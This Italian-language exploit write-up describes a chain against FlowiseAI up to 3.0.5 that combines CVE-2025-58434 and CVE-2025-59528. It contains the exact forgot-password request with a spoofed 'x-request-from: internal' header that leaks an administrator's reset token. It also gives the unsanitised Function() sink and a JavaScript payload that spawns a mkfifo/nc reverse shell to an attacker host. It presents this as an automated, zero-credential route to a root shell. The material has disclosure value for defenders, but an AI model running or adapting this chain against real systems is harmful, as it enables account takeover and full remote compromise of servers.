Catena di attacco critica non autenticata che porta a RCE completa in FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Acquisizione account non autenticata in catena con esecuzione di codice remoto su FlowiseAI
<= 3.0.5.
Compromissione completa del contenitore in meno di 5 secondi, zero credenziali richieste.
Sinistra: pagina di login di FlowiseAI — Destra: shell root tramite CVE-2025-59528 · uid=0(root)
Questo exploit collega due vulnerabilità critiche indipendenti in un singolo attacco completamente automatizzato. Nessuna delle due vulnerabilità da sola garantisce una compromissione totale, ma insieme formano una catena di attacco completa da zero credenziali a una shell root all'interno di un contenitore Docker.
[Nessuna credenziale]
│
▼
① Abusa dell'endpoint forgot-password (nessuna autenticazione richiesta)
│ → Il server risponde con il token di reset della vittima in chiaro
▼
② Invia il token all'endpoint reset-password
│ → L'attaccante controlla la password dell'amministratore
▼
③ Login + recupera la chiave API Bearer
│ → Sessione autenticata completa stabilita
▼
④ Invia il payload JavaScript tramite il nodo customMCP
│ → Il server lo valuta tramite il costruttore Function()
▼
[Shell root all'interno del contenitore Docker]
Cosa lo rende zero-interazione: in nessun momento la vittima riceve un'email, vede un avviso di login o attiva alcun evento visibile. L'attacco è interamente lato server.
CVSS 3.1: 9.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Interessati: FlowiseAI <= 3.0.5 (cloud + self-hosted)
Advisory: GHSA-wgpv-6j63-x5ph
FlowiseAI ha un concetto di richieste "interne" — chiamate API effettuate tra i propri servizi — identificate dall'intestazione HTTP x-request-from: internal. L'endpoint /api/v1/account/forgot-password utilizza questa intestazione per saltare completamente l'autenticazione e restituire una risposta diversa e più dettagliata rispetto a quella per chiamanti esterni.
Il problema: questa intestazione non viene convalidata o limitata in alcun modo. Qualsiasi aggressore su Internet può inviarla. Quando lo fanno, invece di attivare un'email di reset della password, l'API risponde con il record completo dell'utente — incluso un tempToken attivo che può essere immediatamente utilizzato per impostare una nuova password.
Normalmente, un flusso di reset della password è simile a:
Utente richiede reset → Server genera token → Token inviato via EMAIL → Utente clicca link → Password modificata
Qui, il server salta completamente il passaggio dell'email e mette il token direttamente nel corpo della risposta HTTP. L'attaccante lo intercetta e passa direttamente alla fase di reset — nessun accesso all'email necessario.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — record completo dell'utente esposto{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Il tempToken viene quindi inviato direttamente all'endpoint di reset — nessuna interazione email, nessun CAPTCHA, nessun limite di velocità.

CVSS 3.1: 10.0 Critico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Interessati: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p
FlowiseAI permette agli utenti di definire nodi MCP (Model Context Protocol) personalizzati con la configurazione del server fornita come stringa JSON. Internamente, la piattaforma deve analizzare questa configurazione — e lo fa utilizzando il costruttore Function() di JavaScript, che è funzionalmente equivalente a eval().
La stringa di configurazione raggiunge il sink completamente non sanificata:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — linea 262
const result = Function('return ' + mcpServerConfig)();
// ↑ input utente non sanificato — esecuzione JS arbitraria
Function() è pericoloso come eval()Function('return ' + code)() fa quanto segue:
code come corpoQuesto dà all'attaccante un contesto di esecuzione JavaScript completo con accesso a process, require, child_process e l'intero runtime Node.js — non una sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← stringa controllata dall'attaccante
└─ substituteVariablesInString() ← nessun filtro, passa attraverso
└─ convertToValidJSONString() ← nessun filtro, passa attraverso
└─ Function('return ' + input)() ← codice arbitrario eseguito qui
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Perché
mkfifoe non/dev/tcp?
Il contenitore esegue/bin/sh, non/bin/bash./dev/tcpè una funzionalità solo di bash — non esiste nelle shell POSIX standard.mkfifocrea un pipe con nome che funziona in qualsiasi shell POSIX, rendendo la reverse shell portabile tra ambienti container.